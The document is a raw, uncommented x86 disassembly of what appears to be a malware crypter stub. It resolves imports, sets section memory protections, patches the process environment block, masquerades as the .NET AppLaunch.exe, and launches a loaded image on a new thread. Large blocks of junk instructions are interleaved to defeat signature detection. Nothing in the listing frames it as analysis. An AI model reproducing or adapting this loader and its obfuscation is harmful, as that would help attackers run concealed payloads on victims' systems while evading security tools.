rcr eax, 0xaf
mov edx, 0xa5
inc edx
or ebx, 0xf5
not eax
rol edi, 0xc3
ror ebx, 0x22
inc eax
bswap esi
add esi, 0x74
imul esi
bswap esi
or ebx, 0xd8
sbb edx, 0xd1
inc edi
and edx, 0x26
not esi
or esi, 0xcd
add ebx, 0
neg esi
rcl eax, 0x94
imul edi
ror edi, 0xbe
dec edi
add ebx, 7
add eax, 0x8f
sbb edx, 9
sbb edi, 0x82
dec esi
inc eax
rcr edx, 0x9b
not esi
rol ebx, 0x7c
bswap edx
or edx, 0x4e
or edi, 0xe6
rcl eax, 0x72
dec edx
rcr edx, 0xc6
dec edi
rol edi, 0xab
inc eax
sub edi, 0x5f
dec eax
not eax
bswap esi
inc ebx
and eax, 0x62
mov eax, 0xac
mov esi, 0xb
dec esi
add edi, 0x24
imul ebx
rcl ebx, 0x6f
inc edi
dec ebx
inc ebx
sbb esi, 0x3f
imul edi
imul eax
and edx, 0x2f
dec esi
neg eax
bswap eax
dec edx
ror ebx, 0x53
rol ebx, 0xbd
imul edi
mov edi, 0x8b
add esi, 0xd2
neg eax
imul esi
inc edx
neg eax
mov edi, 1
rol edi, 0xce
inc esi
bswap ebx
or ebx, 0xea
inc eax
or ebx, 0x4a
inc ebx
or eax, 0x81
not eax
and edi, 0x9f
bswap esi
bswap ebx
sub ebx, 0x44
rcl esi, 0xc6
bswap eax
dec eax
or edx, 0xde
dec edx
neg ebx
rcl edi, 0x2e
mov ebx, 0x27
dec ebx
rol edi, 0xac
inc esi
inc esi
sub edi, 0xaf
mov edx, 0x9b
bswap edi
rcl esi, 0x7b
inc ebx
bswap esi
mov ebx, 0xf1
neg edi
bswap eax
rol ebx, 0x73
bswap edx
neg ebx
imul esi
mov eax, dword [ebp - 0x70]
mov edx, dword [eax + 0x80]
mov eax, dword [ebp - 0x74]
add eax, edx
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x38], 0
jmp 0x40399a
mov edx, dword [ebp - 0x38]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0x88]
add eax, edx
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 0x74]
add eax, edx
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0xa8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0
je 0x403995
mov edx, dword [ebp - 0x38]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0x88]
add eax, edx
mov edx, dword [eax + 0x10]
mov eax, dword [ebp - 0x74]
add eax, edx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x3c], 0
jmp 0x403977
mov eax, dword [ebp - 0x3c]
lea edx, [eax*4]
mov eax, dword [ebp - 0xb0]
add eax, edx
mov edx, dword [eax]
mov eax, dword [ebp - 0x74]
add eax, edx
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x3c]
lea edx, [eax*4]
mov eax, dword [ebp - 0xb0]
add eax, edx
mov eax, dword [eax]
movzx eax, ax
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xac]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x403945
mov eax, dword [ebp - 0xb4]
add eax, 2
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xac]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x40], eax
mov edx, dword [ebp - 0x38]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0x88]
add eax, edx
mov edx, dword [eax + 0x10]
mov eax, dword [ebp - 0x74]
add edx, eax
mov eax, dword [ebp - 0x3c]
shl eax, 2
add eax, edx
mov edx, eax
mov eax, dword [ebp - 0x40]
mov dword [edx], eax
add dword [ebp - 0x3c], 1
mov eax, dword [ebp - 0x3c]
lea edx, [eax*4]
mov eax, dword [ebp - 0xb0]
add eax, edx
mov eax, dword [eax]
test eax, eax
jne 0x4038cc
jmp 0x403996
nop
add dword [ebp - 0x38], 1
mov edx, dword [ebp - 0x38]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0x88]
add eax, edx
mov eax, dword [eax + 0x10]
test eax, eax
jne 0x403850
dec edx
ror eax, 0xce
mov eax, 0xf
dec edx
rcr edx, 0x4c
rcr esi, 0xa3
sub esi, 0x6a
inc esi
or edi, 0x85
imul ebx
or esi, 0x6f
sub esi, 0x1b
imul esi
inc eax
bswap esi
bswap eax
ror edx, 0xf5
inc esi
inc eax
neg esi
or esi, 0xf9
neg ebx
bswap eax
inc edi
inc ebx
rol eax, 0xa7
and edi, 0x44
inc eax
rcr ebx, 0xd5
imul ebx
sub edx, 0x33
rcl esi, 0x39
bswap ebx
rcr ebx, 0x18
rcr eax, 0x5c
rol edi, 0x10
rcr edx, 0x16
rcr edi, 0x63
sub ebx, 0x8c
dec eax
and esi, 0xf6
not eax
rcr ebx, 0xbf
or edi, 0x20
ror edi, 0x27
rcr edi, 0x5f
bswap edi
and ebx, 0xc2
inc esi
not esi
not edx
not esi
sbb esi, 0xd3
inc edx
imul ebx
not esi
sbb esi, 0x7f
and eax, 6
dec ebx
or edi, 0xf9
or edi, 0x6e
inc edx
dec ebx
neg edi
sub edi, 0xc4
sbb ebx, 0xab
rcl ebx, 0x16
and edi, 1
imul esi
neg eax
neg eax
dec edi
sub esi, 0x95
rcl esi, 0xe8
not ebx
not edx
rcr ebx, 0x11
ror edx, 0xc6
mov esi, 0x1f
inc edi
and edi, 0xfc
rcl eax, 0x22
mov ebx, 0x3c
sub edx, 0xee
imul eax
mov esi, 0xc2
mov ebx, 0xe8
or esi, 0x1a
or edx, 0xcd
imul eax
inc eax
rol esi, 0x34
bswap edi
not edx
and ebx, 0x2b
neg edx
neg esi
neg edx
dec esi
neg eax
inc eax
not esi
sub edx, 0x51
rol edi, 0x50
inc ebx
rol edi, 0x74
imul edi
not edx
rcl esi, 0x40
mov ebx, 0x65
dec esi
ror eax, 0x6a
bswap edi
add eax, 0xb5
dec ebx
bswap ebx
mov eax, 0x2d
sub edi, 0xec
dec edx
bswap edx
bswap ebx
inc eax
dec edi
add edx, 0x68
neg edi
neg edx
dec edi
neg edx
dec ebx
or edi, 0xe3
not edx
dec eax
sbb ebx, 0xdf
sbb esi, 0xe0
bswap esi
bswap edx
sub ebx, 0x94
inc edi
add esi, 0x6f
or ebx, 0x82
bswap edx
neg edi
bswap esi
dec edx
or esi, 0x31
not eax
and edx, 0x9d
inc ebx
dec edx
imul eax
mov dword [ebp - 0x44], 0
jmp 0x403c6e
mov dword [ebp - 0x48], 0x40
mov edx, dword [ebp - 0x44]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x78]
add eax, edx
mov eax, dword [eax + 0x24]
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0xa4]
and eax, 0x40000000
test eax, eax
je 0x403bb9
mov eax, dword [ebp - 0xa4]
test eax, eax
jns 0x403bb9
mov eax, dword [ebp - 0xa4]
and eax, 0x20000000
test eax, eax
je 0x403bb9
mov dword [ebp - 0x48], 0x40
jmp 0x403c18
mov eax, dword [ebp - 0xa4]
and eax, 0x40000000
test eax, eax
je 0x403bdb
mov eax, dword [ebp - 0xa4]
test eax, eax
jns 0x403bdb
mov dword [ebp - 0x48], 4
jmp 0x403c18
mov eax, dword [ebp - 0xa4]
and eax, 0x40000000
test eax, eax
je 0x403c02
mov eax, dword [ebp - 0xa4]
and eax, 0x20000000
test eax, eax
je 0x403c02
mov dword [ebp - 0x48], 0x20
jmp 0x403c18
mov eax, dword [ebp - 0xa4]
and eax, 0x40000000
test eax, eax
je 0x403c18
mov dword [ebp - 0x48], 2
mov edx, dword [ebp - 0x44]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x78]
add eax, edx
mov ecx, dword [eax + 8]
mov edx, dword [ebp - 0x44]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x78]
add eax, edx
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 0x74]
add eax, edx
mov edx, eax
lea eax, [ebp - 0xd8]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x48]
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call sym.MyVirtualProtect_void__unsigned_long__unsigned_long__unsigned_long_
add dword [ebp - 0x44], 1
mov eax, dword [ebp - 0x70]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 0x44], eax
jl 0x403b64
imul edx
and eax, 0x6b
not ebx
or ebx, 0xb7
and edx, 0x42
imul ebx
add eax, 0xd1
rcl edx, 0xfb
rcr edx, 0xf3
not edx
sbb edi, 0x92
imul edi
sbb esi, 0xff
mov edx, 0xc8
neg edx
imul ebx
and ebx, 0xb6
bswap esi
bswap edi
imul edi
dec esi
rcr esi, 0x4c
imul edi
imul edx
sub edi, 0x81
inc edx
imul esi
add edi, 0xda
bswap edi
rcr eax, 0xc9
inc edi
dec edi
neg edx
mov eax, 0x5d
sbb edx, 0xd2
neg edx
add ebx, 0x4f
mov esi, 0x53
sbb edx, 0xfd
rcl eax, 0x3b
dec edi
not edi
rcr ebx, 0xf
inc ebx
neg eax
not edx
mov esi, 0xe1
inc esi
sbb eax, 0xad
rol edi, 0xd0
dec eax
mov esi, 0x18
dec edi
add esi, 0xb5
bswap ebx
rcr esi, 0x62
bswap eax
bswap edx
sbb edi, 0x95
or edi, 0x50
rcr edi, 0xbc
or esi, 0x3b
or ebx, 0x5b
sbb ebx, 0x96
dec esi
neg eax
add edx, 0x4c
add edx, 0x12
inc edi
or edi, 0x78
and eax, 0x21
and edx, 0xca
rcr edx, 0xc6
or edx, 0xa9
neg edx
bswap edi
rcr ebx, 0x90
sub edi, 0x73
mov edx, 0xb3
rcr ebx, 0xdb
add eax, 0xb
rcr esi, 0xdc
neg edx
imul esi
rcl edi, 0xb0
neg esi
bswap eax
not eax
rol ebx, 0xf5
dec esi
and edx, 0x41
imul esi
neg edx
imul edx
sub ebx, 9
sbb edx, 0xda
dec edx
dec esi
not edx
rol esi, 0xfa
and eax, 0xca
rol eax, 0x43
imul ebx
inc edx
imul edx
rcr eax, 0x8b
imul edi
rcr eax, 0xa3
rcl edx, 0x90
sbb edi, 0x1d
neg edi
and edi, 0x9c
imul ebx
and edx, 0x53
rcl ebx, 0xe
rcl ebx, 0x7a
bswap eax
neg edx
rol edx, 0xe1
not edi
or eax, 0x22
sbb eax, 0x14
ror edx, 0x98
add ebx, 0x82
mov edx, 0x6b
neg edi
not eax
sbb eax, 0xdd
inc esi
not edx
rcl esi, 0x52
imul edx
inc ebx
dec esi
ror ebx, 0x7f
bswap edx
dec ebx
inc edx
and edi, 0x40
sub edx, 0x8f
sub esi, 0x7b
dec edx
not esi
add edi, 0x64
and ebx, 0xcd
sub edx, 0xcb
bswap edx
sub edx, 0xef
bswap esi
dec edx
mov dword [ebp - 0xb8], 0x30
mov eax, dword [ebp - 0xb8]
mov eax, dword fs:[eax]
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x8c]
add eax, 0xc
mov eax, dword [eax]
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x90]
add eax, 0x14
mov eax, dword [eax]
sub eax, 8
mov dword [ebp - 0x94], eax
or ebx, 0xd7
sub edi, 0xc2
bswap edx
mov edx, 0x4e
mov edx, 0x8c
ror ebx, 0x68
dec edi
sub edx, 0xb3
sub eax, 0x46
sub eax, 0xb
not esi
and edx, 0x9e
bswap eax
imul edi
not edi
mov esi, 0xe9
not eax
not esi
rol edx, 0xba
not edx
rol edx, 0xbd
imul eax
rcl edi, 0xe2
sub edi, 0xa5
sbb ebx, 0x8e
neg edi
not ebx
and esi, 0x2f
rcl edi, 0x55
imul eax
rcl eax, 0xd5
inc esi
imul edi
bswap edx
and edx, 0x70
or edx, 0x75
sbb edx, 0xc7
neg edi
ror edi, 0xa
add esi, 0x61
ror eax, 0x7a
dec ebx
rcr edx, 0xa0
imul ebx
bswap eax
neg esi
rol esi, 0xce
inc eax
not edi
inc esi
and ebx, 0x43
neg esi
sub edi, 0xb9
add ebx, 0x8c
sub eax, 0x90
not ebx
neg ebx
and ebx, 0xde
rcr eax, 0x1b
and ebx, 0x64
mov esi, 0x50
rcl edx, 7
rol eax, 3
or esi, 0x8e
neg edi
mov edx, 0xc9
not esi
sbb eax, 0xf5
rcl esi, 0xce
and edx, 0x16
rcl ebx, 0x2b
inc esi
bswap esi
not eax
dec eax
inc esi
rol edx, 0x23
sbb ebx, 0x4b
inc esi
or edi, 0xed
neg edi
mov edx, 0xff
sub ebx, 0x1d
dec eax
bswap ebx
and edx, 0x29
imul eax
dec eax
ror edi, 0x61
rcr eax, 0x69
or esi, 0x12
sbb ebx, 0xa5
add ebx, 0x1c
rcr eax, 0x98
or ebx, 0x41
inc edx
neg eax
sbb edi, 0x66
imul ebx
add esi, 0x44
inc ebx
rcl edx, 0xf5
sbb esi, 0xf2
mov edx, 0x78
dec edi
ror edx, 0xc9
sub eax, 0x3d
rol esi, 0xed
sbb edi, 0x4d
add edi, 0x49
bswap eax
dec ebx
not edi
or edi, 0xa
sbb edx, 0x51
sbb ebx, 0xe2
not eax
not edi
rcr eax, 0x15
add esi, 0xc4
rcl eax, 0x98
rol ebx, 0x6e
neg esi
mov edx, 0xaf
sub edi, 0xc3
bswap edi
ror edi, 0xc
rol eax, 0x7e
bswap edi
bswap esi
ror edx, 0x97
mov edx, 0x78
and ebx, 0xb6
and edx, 0xaf
rcl eax, 0x90
not eax
rcl ebx, 0xe7
sbb ebx, 0xbb
rol esi, 0x8d
not esi
sub esi, 0x77
imul eax
dec ebx
not edi
bswap ebx
sub ebx, 0x2b
neg edx
and ebx, 0x81
dec edi
mov edi, 0xfe
mov eax, dword [ebp - 0x8c]
add eax, 8
mov edx, eax
mov eax, dword [ebp - 0x74]
mov dword [edx], eax
mov eax, dword [ebp - 0x94]
add eax, 0x18
mov edx, eax
mov eax, dword [ebp - 0x74]
mov dword [edx], eax
mov eax, dword [ebp - 0x94]
add eax, 0x24
mov dword [ebp - 0x98], eax
not eax
neg esi
not edx
or esi, 0xc1
rol esi, 0x7a
inc esi
rol ebx, 0x61
neg edi
rcl edi, 0x92
imul eax
rcr esi, 0x12
not eax
or edx, 0x19
bswap esi
sbb eax, 0xeb
not edi
mov edi, 0xf7
inc ebx
dec esi
imul edi
imul ebx
rcr edx, 0x70
and edx, 0x54
and esi, 0xe
imul edx
inc esi
not edx
or eax, 0xb4
and ebx, 0x4b
not eax
or ebx, 0x72
neg ebx
inc edi
neg esi
sub eax, 0x55
not ebx
ror esi, 0x72
neg ebx
add esi, 0x80
sbb eax, 0x5a
rcr edi, 0x47
not edi
rol edx, 0x81
sub edx, 0x7f
rcr edi, 0xf5
inc ebx
sub edx, 0xe7
sbb esi, 0xc8
rcl ebx, 0x1d
dec edi
add edx, 0xd0
neg ebx
ror ebx, 0xc4
not edx
inc ebx
inc ebx
bswap edi
inc eax
bswap esi
dec esi
bswap esi
or edi, 0x7f
not ebx
inc edx
sub esi, 0x92
not ebx
inc esi
dec edi
neg ebx
sbb esi, 0xa7
or edi, 0x51
rol edx, 9
not edx
or eax, 0x94
add edx, 0x43
imul eax
ror edx, 0xa1
not edi
rcl eax, 0x27
neg edi
sbb edx, 0xb
imul edi
imul eax
ror ebx, 0x96
dec eax
add edx, 0xd8
not edx
rcr ebx, 0x4d
neg edx
dec esi
rcr ebx, 0xa9
not esi
and esi, 0xd
rcl eax, 0xe5
add eax, 4
dec esi
sbb edi, 0x69
ror esi, 0xc5
or eax, 0xbf
not eax
imul edx
mov esi, 0x75
not ebx
rol eax, 0xc2
mov edi, 0x2b
imul esi
dec edi
sub edi, 0x90
imul edx
sbb edi, 0xdf
bswap edx
add edi, 0xaf
inc ebx
sub ebx, 0xdf
and edx, 0x2e
dec esi
not edx
neg esi
sbb edx, 0xd1
dec esi
or edx, 0x8f
imul eax
not esi
rol ebx, 0x19
mov edi, 0xf3
neg edx
add edi, 0x25
rcr edx, 0x77
imul ebx
add edx, 0xaf
dec edi
rcr ebx, 0x14
and eax, 0x47
imul ebx
sbb edx, 0x20
ror edx, 0x21
sbb ebx, 0xa9
rol eax, 0x5b
inc ebx
add edx, 8
inc edi
or eax, 0x64
rcr esi, 0xb5
bswap esi
dec eax
bswap eax
imul ebx
rcr edi, 0xea
rol ebx, 0x9e
or esi, 0x9c
lea eax, [ebp - 0x4a958]
mov ebx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe
mov edx, 0x1e
mov edi, eax
mov esi, ebx
mov ecx, edx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x70]
mov eax, dword [eax + 0xe8]
test eax, eax
setne al
mov byte [ebp - 0x99], al
cmp byte [ebp - 0x99], 0
je 0x40429d
mov dword [esp + 8], 8
mov eax, dword [ebp - 0x98]
mov dword [esp + 4], eax
lea eax, [ebp - 0xe0]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0x98]
lea edx, [ebp - 0x4a958]
mov dword [eax + 4], edx
lea eax, [ebp - 0x4a958]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_lstrlenW]
call eax
sub esp, 4
lea edx, [eax + eax]
mov eax, dword [ebp - 0x98]
mov word [eax], dx
sub edx, 0xa4
imul eax
add edx, 0x3d
rcr esi, 0xcb
sub edi, 0xc3
dec edi
imul ebx
bswap esi
not edi
neg esi
and esi, 0xbf
sbb esi, 0xcd
ror edi, 0x28
ror esi, 0x4d
not edi
bswap esi
rcr eax, 0x8a
add esi, 0xf0
dec ebx
bswap esi
sub eax, 0x6b
or edx, 0xac
and eax, 0x1d
or ebx, 0x98
rcr edx, 0x2b
inc esi
bswap esi
add eax, 0xe1
inc edx
or edx, 0x5f
ror edi, 0xe1
imul edx
inc edx
and ebx, 0xcf
mov edi, 0x5c
inc esi
sub esi, 0xd0
inc edx
bswap ebx
add ebx, 0xa3
mov ebx, 1
bswap edi
sbb edx, 0xed
sub eax, 0xec
ror eax, 0xb3
dec eax
not ebx
ror edi, 0x78
sbb edi, 0xb3
add esi, 0xa5
inc esi
rol edi, 8
not esi
or esi, 0x35
and ebx, 0xdc
imul esi
ror edx, 0x24
rcr edx, 0x66
dec edx
imul edx
neg eax
inc ebx
sub esi, 0x18
rcr eax, 0xaa
and eax, 0xc1
sub esi, 0xce
inc esi
dec ebx
bswap eax
imul edx
ror esi, 0x64
rcr eax, 0x7b
neg edx
imul ebx
rol esi, 0x4c
rol eax, 0xe7
ror ebx, 0xc2
and esi, 0x95
sub edi, 0x21
sbb edi, 0x11
not edi
imul eax
rcl esi, 0x40
inc eax
dec edx
neg ebx
neg ebx
rcr eax, 0xa8
add ebx, 0x40
rol eax, 0xf
inc edx
ror esi, 0xd8
add eax, 0xae
or edi, 0x9a
not esi
not edx
sbb eax, 0x3b
ror eax, 0x8a
bswap eax
add esi, 0x91
rcr edx, 0x6b
sbb ebx, 0xae
inc esi
neg edx
inc esi
not edx
imul edi
sub edi, 0x68
imul esi
mov ebx, 0x24
rol ebx, 0xee
bswap eax
bswap eax
rol eax, 0x3f
not ebx
bswap eax
dec edi
and ebx, 2
sub edi, 0x84
not edx
rcr eax, 0xb1
rcr edi, 0x6e
bswap eax
neg esi
rcl ebx, 0xa0
ror ebx, 0xe1
inc eax
dec ebx
imul ebx
imul edx
mov ebx, 0xc0
neg edx
neg edi
rcr edi, 0xb7
inc edi
or eax, 0xa3
neg ebx
inc esi
and ebx, 0xc4
ror eax, 2
rol ebx, 0xab
or eax, 0x42
dec edi
add edi, 0x83
inc edi
dec eax
add edi, 0x17
ror eax, 0x8b
rol ebx, 0xd9
and ebx, 0x65
mov eax, dword [ebp - 0x70]
mov edx, dword [eax + 0x28]
mov eax, dword [ebp - 0x74]
add eax, edx
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0xa0], eax
cmp byte [ebp - 0x99], 0
je 0x4044d3
mov dword [esp], 0x64
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov dword [esp + 8], 8
lea eax, [ebp - 0xe0]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x98]
mov dword [esp], eax
call sym._memcpy
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0xa0]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
and edx, 0xe9
rol edx, 0x1b
dec edi
add ebx, 4
inc esi
or edx, 0x74
ror esi, 0x9c
sbb esi, 0x1b
mov esi, 0x85
imul edx
bswap esi
rcr edi, 0x16
inc edx
and edx, 0xad
rol eax, 0xb
mov eax, 0x5e
sub esi, 0x3c
imul esi
or esi, 0x50
add edx, 0xdf
imul ebx
imul ebx
dec eax
dec ebx
rcr eax, 0x28
rcr esi, 0xa9
not eax
dec esi
neg eax
inc eax
bswap edx
rcr ebx, 0x94
imul ebx
dec ebx
bswap edi
mov eax, 0xc1
rcl esi, 0xe2
inc ebx
imul edi
bswap eax
ror edi, 0xd8
and esi, 0xa
sub eax, 0xac
rcr eax, 0x8e
bswap eax
imul edx
rcl edx, 0xef
add edx, 0x37
ror eax, 0x4a
rcr edx, 0x35
not ebx
imul edi
dec edi
imul esi
rcr eax, 0xfb
not edx
add ebx, 0xf0
mov ebx, 5
or ebx, 0xb7
dec eax
neg edi
sub ebx, 0xa4
neg edi
inc edx
bswap ebx
rcr ebx, 0x76
bswap edi
sbb edx, 0x33
sub esi, 0xab
ror eax, 0x58
rcl edx, 0x32
rol edx, 0xbc
imul esi
rcr ebx, 0x25
rcl edx, 0x35
inc edi
imul edi
bswap edi
not edx
neg eax
sub edi, 0x22
rol esi, 0x2d
neg eax
sub edi, 0xa7
rcr eax, 0x7f
imul eax
rcr eax, 0xb7
rcr edi, 0x83
bswap ebx
or edi, 0xe6
rol edx, 0x9e
neg eax
and edi, 0x2d
rol ebx, 0xb8
dec edi
bswap esi
bswap ebx
bswap edi
sbb ebx, 0xff
dec ebx
dec eax
not edi
rcr ebx, 0x25
rcr ebx, 0xd3
neg edi
rol edx, 0x63
not eax
imul ebx
dec ebx
inc esi
rcr eax, 0x67
dec ebx
mov eax, 0x66
not esi
not ebx
not ebx
neg ebx
bswap edi
inc edx
inc edx
sbb eax, 0xd3
dec esi
bswap edx
dec edi
neg ebx
not ebx
rol edi, 0xb3
mov eax, 1
dec esi
and eax, 0xa4
bswap ebx
imul ebx
rol ebx, 0xd8
not eax
neg esi
bswap edi
and edx, 0x77
rcl edi, 0xef
sub edx, 0xca
neg esi
bswap ebx
sub edx, 0xab
dec esi
or ebx, 6
mov esi, 0x10
add ebx, 0x31
dec edx
dec edi
inc edi
rcr eax, 0x91
mov eax, 0
jmp 0x404687
mov eax, 0
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret